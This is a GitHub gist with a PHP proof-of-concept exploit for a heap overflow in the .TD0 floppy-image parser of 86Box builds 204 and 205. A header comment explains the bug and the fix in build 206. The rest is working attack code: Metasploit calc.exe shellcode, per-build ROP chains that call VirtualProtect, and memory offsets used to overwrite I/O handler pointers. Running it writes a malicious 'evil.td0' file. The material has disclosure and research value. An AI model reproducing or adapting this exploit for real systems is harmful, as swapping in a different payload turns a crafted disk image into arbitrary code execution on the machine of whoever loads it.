Skip to content

Instantly share code, notes, and snippets.

@Wack0
Last active March 20, 2018 22:34
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save Wack0/f9432afc42dd254ef2f153e70f278544 to your computer and use it in GitHub Desktop.
Save Wack0/f9432afc42dd254ef2f153e70f278544 to your computer and use it in GitHub Desktop.
Heap Overflow in .TD0 File Parser in 86Box build 204/205 (200c966/d3d2699) Code Execution PoC
<?php
/*
Heap Overflow in .TD0 File Parser in 86Box build 204/205 (200c966/d3d2699) can cause code execution
calc.exe PoC for both builds (the x86 AMD and Intel binaries!)
a *Ring of Lightning* production by slipstream/RoL!
Please note that due to lack of available hardware, exploitation of the AMD binaries has not been tested.
So you may have to fix that yourself.
86Box is a fork of PCem maintained by Battler aka Tenshi aka Kiririn/RoL.
The code is available on github: https://github.com/OBattler/86box
Build 204 introduced the ability to use Teledisk (.TD0) floppy images (ported from MAME), however
the loader had a nice bug, as it did an fread() of the entire file (minus 12 bytes) into a 4MB buffer
in .bss.
(Fun fact: the bug was found before the build server had even finished compiling!)
After the overflow, the first 2 bytes can be int16 0x00ff, to make the loader bail out.
To exploit, the I/O port read/write handler function pointers are all clobbered:
the I/O byte read handlers are overwritten to point to a "mov esp, ecx; ret" gadget
(on call, the I/O port object pointer is in ecx), and the remainding handler function pointers
all get overwritten to point to the inb() handler (to ensure that the I/O port object pointer
gets in the right register).
The I/O port object pointers are all overwritten to point to the ROP chain, thus as soon as the
emulated system makes any kind of I/O read/write, we get ROP.
A couple of FILE pointers get overwritten to NULL, and an array index gets overwritten to a valid
one, so as to prevent crashes before we get ROP.
Unfortunately, the config gets partially corrupted before we get ROP (sometimes? could be a race
condition here). So, this is very much a one-shot.
The issue was fixed in build 206 (1371be8). Updating to build 206 (1371be8) or later will prevent
exploitation of this issue.
*/
function usage() {
global $argv;
echo "[-] Usage: ".$argv[0]." <205i/205a/204i/204a>\r\n";
echo "[*] 205i/205a is for build 205 [200c966] intel32/AMD32.\r\n";
echo "[*] 204i/204a is for build 204 [d3d2699] intel32/AMD32.\r\n";
die();
}
echo "[*] 86Box build 204/205 .td0 file parsing heap overflow\r\n";
echo "[*] a *Ring of Lightning* production by slipstream/RoL!\r\n";
if ($argc < 2) usage();
// msf windows/exec calc.exe
$shellcode = "\xFC\xE8\x82\x00\x00\x00\x60\x89\xE5\x31\xC0\x64\x8B\x50\x30\x8B".
"\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\xAC\x3C".
"\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF2\x52\x57\x8B\x52".
"\x10\x8B\x4A\x3C\x8B\x4C\x11\x78\xE3\x48\x01\xD1\x51\x8B\x59\x20".
"\x01\xD3\x8B\x49\x18\xE3\x3A\x49\x8B\x34\x8B\x01\xD6\x31\xFF\xAC".
"\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF6\x03\x7D\xF8\x3B\x7D\x24\x75".
"\xE4\x58\x8B\x58\x24\x01\xD3\x66\x8B\x0C\x4B\x8B\x58\x1C\x01\xD3".
"\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24\x5B\x5B\x61\x59\x5A\x51\xFF".
"\xE0\x5F\x5F\x5A\x8B\x12\xEB\x8D\x5D\x6A\x01\x8D\x85\xB2\x00\x00".
"\x00\x50\x68\x31\x8B\x6F\x87\xFF\xD5\xBB\xE0\x1D\x2A\x0A\x68\xA6".
"\x95\xBD\x9D\xFF\xD5\x3C\x06\x7C\x0A\x80\xFB\xE0\x75\x05\xBB\x47".
"\x13\x72\x6F\x6A\x00\x53\xFF\xD5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";
switch ($argv[1]) {
case "205i":
$ptrsize = 4;
$ptrpack = ($ptrsize == 8 ? 'P' : 'V');
$start = 0x197D740;
$fileptr = 0x217D740;
$td0structlen = 0x60209;
$joystick = 0x247E7AC;
$iofptrs = 0x254F720;
$iofptrs_end = 0x27CF710 + (0x10000 * $ptrsize);
$io_priv_start = 0x25CF740;
$io_priv_end = $io_priv_start + (0x10000 * $ptrsize);
$inb = 0x583470;
$ropstart = 0x6b8d1a; // mov esp, ecx ; ret // where ecx == the io_priv ptr :)
$ropchainaddr = $start + 2;
$ropchain = pack($ptrpack."*",
0x005eac5d, // POP EAX // RETN [86Box_i32_205.exe]
0x02EE0754, // ptr to &VirtualProtect() [IAT 86Box_i32_205.exe]
0x0040c092, // MOV EAX,DWORD PTR DS:[EAX] // RETN [86Box_i32_205.exe]
0x005c14a8, // XCHG EAX,ESI // RETN [86Box_i32_205.exe]
0x0040d473, // POP EBP // RETN [86Box_i32_205.exe]
0x00635b90, // & jmp esp [86Box_i32_205.exe]
0x006aef02, // POP EBX // RETN [86Box_i32_205.exe]
0x00000201, // 0x00000201-> ebx
0x004d22cf, // POP EDX // RETN [86Box_i32_205.exe]
0x00000040, // 0x00000040-> edx
0x006972f2, // POP ECX // RETN [86Box_i32_205.exe]
$fileptr, // &Writable location [86Box_i32_205.exe]
0x0057e753, // POP EDI // RETN [86Box_i32_205.exe]
0x005d4ac8, // RETN (ROP NOP) [86Box_i32_205.exe]
0x00699338, // POP EAX // RETN [86Box_i32_205.exe]
0x90909090, // nop
0x006557cf // PUSHAD // RETN [86Box_i32_205.exe]
);
break;
case "205a":
$ptrsize = 4;
$ptrpack = ($ptrsize == 8 ? 'P' : 'V');
$start = 0x1986740;
$fileptr = 0x2186740;
$td0structlen = 0x60209;
$joystick = 0x24877AC;
$iofptrs = 0x2558720;
$iofptrs_end = 0x27D8780 + (0x10000 * $ptrsize);
$io_priv_start = 0x25D8740;
$io_priv_end = $io_priv_start + (0x10000 * $ptrsize);
$inb = 0x57E640;
$ropstart = 0x6c16f9; // mov esp, ecx ; ret // where ecx == the io_priv ptr :)
$ropchainaddr = $start + 2;
$ropchain = pack($ptrpack."*",
0x006a10c5, // POP EAX // RETN [86Box_a32_205.exe]
0x02ee9754, // ptr to &VirtualProtect() [IAT 86Box_a32_205.exe]
0x00488822, // MOV EAX,DWORD PTR DS:[EAX] // RETN [86Box_a32_205.exe]
0x005c9340, // XCHG EAX,ESI // RETN [86Box_a32_205.exe]
0x0042962b, // POP EBP // RETN [86Box_a32_205.exe]
0x00419e9d, // & call esp [86Box_a32_205.exe]
0x004a0575, // POP EDX // MOV EAX,1 // ADD ESP,18 // POP EBX // RETN [86Box_a32_205.exe]
0x00000040, // 0x00000040-> edx
0x41414141, // Filler (compensate)
0x41414141, // Filler (compensate)
0x41414141, // Filler (compensate)
0x41414141, // Filler (compensate)
0x41414141, // Filler (compensate)
0x41414141, // Filler (compensate)
0x00000201, // 0x00000201-> ebx
0x00622df5, // POP ECX // RETN [86Box_a32_205.exe]
0x02eea5cd, // &Writable location [86Box_a32_205.exe]
0x0050adb4, // POP EDI // RETN [86Box_a32_205.exe]
0x005f861c, // RETN (ROP NOP) [86Box_a32_205.exe]
0x006a11bb, // POP EAX // RETN [86Box_a32_205.exe]
0x90909090, // nop
0x0065aa78 // PUSHAD // RETN [86Box_a32_205.exe]
);
break;
case "204i":
$ptrsize = 4;
$ptrpack = ($ptrsize == 8 ? 'P' : 'V');
$start = 0x197D740;
$fileptr = 0x217D740;
$td0structlen = 0x60209;
$joystick = 0x247E7AC;
$iofptrs = 0x254F720;
$iofptrs_end = 0x27CF710 + (0x10000 * $ptrsize);
$io_priv_start = 0x25CF740;
$io_priv_end = $io_priv_start + (0x10000 * $ptrsize);
$inb = 0x583470;
$ropstart = 0x6b8d3a; // mov esp, ecx ; ret // where ecx == the io_priv ptr :)
$ropchainaddr = $start + 2;
$ropchain = pack($ptrpack."*",
0x005ea4fb, // POP EAX // RETN [86Box_i32_204.exe]
0x02ee0754, // ptr to &VirtualProtect() [IAT 86Box_i32_204.exe]
0x0048b752, // MOV EAX,DWORD PTR DS:[EAX] // RETN [86Box_i32_204.exe]
0x005caded, // XCHG EAX,ESI // RETN [86Box_i32_204.exe]
0x004c33be, // POP EBP // RETN [86Box_i32_204.exe]
0x00635814, // & jmp esp [86Box_i32_204.exe]
0x00466c3f, // POP EBX // RETN [86Box_i32_204.exe]
0x00000201, // 0x00000201-> ebx
0x004d22cf, // POP EDX // RETN [86Box_i32_204.exe]
0x00000040, // 0x00000040-> edx
0x006543c1, // POP ECX // RETN [86Box_i32_204.exe]
0x02ee01f4, // &Writable location [86Box_i32_204.exe]
0x0048f11d, // POP EDI // RETN [86Box_i32_204.exe]
0x00504727, // RETN (ROP NOP) [86Box_i32_204.exe]
0x00699495, // POP EAX // RETN [86Box_i32_204.exe]
0x90909090, // nop
0x0053005c // PUSHAD // RETN [86Box_i32_204.exe]
);
break;
case "204a":
$ptrsize = 4;
$ptrpack = ($ptrsize == 8 ? 'P' : 'V');
$start = 0x1986740;
$fileptr = 0x2186740;
$td0structlen = 0x60209;
$joystick = 0x24877AC;
$iofptrs = 0x2558720;
$iofptrs_end = 0x27D8780 + (0x10000 * $ptrsize);
$io_priv_start = 0x25D8740;
$io_priv_end = $io_priv_start + (0x10000 * $ptrsize);
$inb = 0x57E640;
$ropstart = 0x6c16f9; // mov esp, ecx ; ret // where ecx == the io_priv ptr :)
$ropchainaddr = $start + 2;
$ropchain = pack($ptrpack."*",
0x0046b6f4, // POP EDX // ADD ESP,1C // MOV EAX,1 // POP EBX // POP ESI // POP EDI // POP EBP // RETN [86Box_a32_204.exe]
0x00000040, // 0x00000040-> edx
0x41414141, // Filler (compensate)
0x41414141, // Filler (compensate)
0x41414141, // Filler (compensate)
0x41414141, // Filler (compensate)
0x41414141, // Filler (compensate)
0x41414141, // Filler (compensate)
0x41414141, // Filler (compensate)
0x00000201, // 0x00000201-> ebx
0x41414141, // Filler (compensate) -> esi
0x005f861c, // RETN (ROP NOP) [86Box_a32_204.exe] -> edi
0x00419e9d, // & call esp [86Box_a32_204.exe] -> ebp
0x006595e0, // POP EAX // RETN [86Box_a32_204.exe]
0x02ee9754, // ptr to &VirtualProtect() [IAT 86Box_a32_204.exe]
0x0040bde2, // MOV EAX,DWORD PTR DS:[EAX] // RETN [86Box_a32_204.exe]
0x005bbaed, // XCHG EAX,ESI // RETN [86Box_a32_204.exe]
0x0069e670, // POP ECX // RETN [86Box_a32_204.exe]
0x02eeb574, // &Writable location [86Box_a32_204.exe]
0x00659813, // POP EAX // RETN [86Box_a32_204.exe]
0x90909090, // nop
0x0065aaa2 // PUSHAD // RETN [86Box_a32_204.exe]
);
break;
default:
usage();
}
$len1 = $fileptr - $start;
$len2 = $joystick - $fileptr - ($ptrsize * 2) - $td0structlen;
$len3 = $iofptrs - $joystick - 4;
// header: magic (for an uncompressed file) then nulls because we only care about the magic
$data = "TD" . str_repeat(chr(0),10);
// make sure the file is assumed to be empty so td0_initialize bails out after it's made the write
$data .= pack('v',0xff);
$data .= $ropchain.$shellcode;
// time to overwrite .bss!
$data .= str_repeat('A',$len1 - 2 - strlen($ropchain) - strlen($shellcode));
$data .= pack($ptrpack,0); // file pointer, let's set this to NULL.
$data .= str_repeat('A',$td0structlen); // fill the rest of this td0 structure
$data .= pack($ptrpack,0); // set the file pointer of the second td0 structure to NULL too.
$data .= str_repeat('A',$len2);
$data .= pack('V',7); // joystick list index = joystick_none
$data .= str_repeat('A',$len3);
// now we're at the function pointers yay
$ptrs_num = ($io_priv_start - $iofptrs) / $ptrsize;
$data .= str_repeat( pack($ptrpack,$ropstart), $ptrs_num);
$ptrs_num = ($io_priv_end - $io_priv_start) / $ptrsize;
$data .= str_repeat( pack($ptrpack,$ropchainaddr), $ptrs_num);
$ptrs_num = ($iofptrs_end - $io_priv_end) / $ptrsize;
$data .= str_repeat( pack($ptrpack,$inb), $ptrs_num);
// ropchain would go here, but it got put in the nice unused 8MB of buffer space (two 4MB buffers) where the file contents would normally go instead :)
file_put_contents('evil.td0',$data);
echo "[+] Wrote evil.td0 :)\n";
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment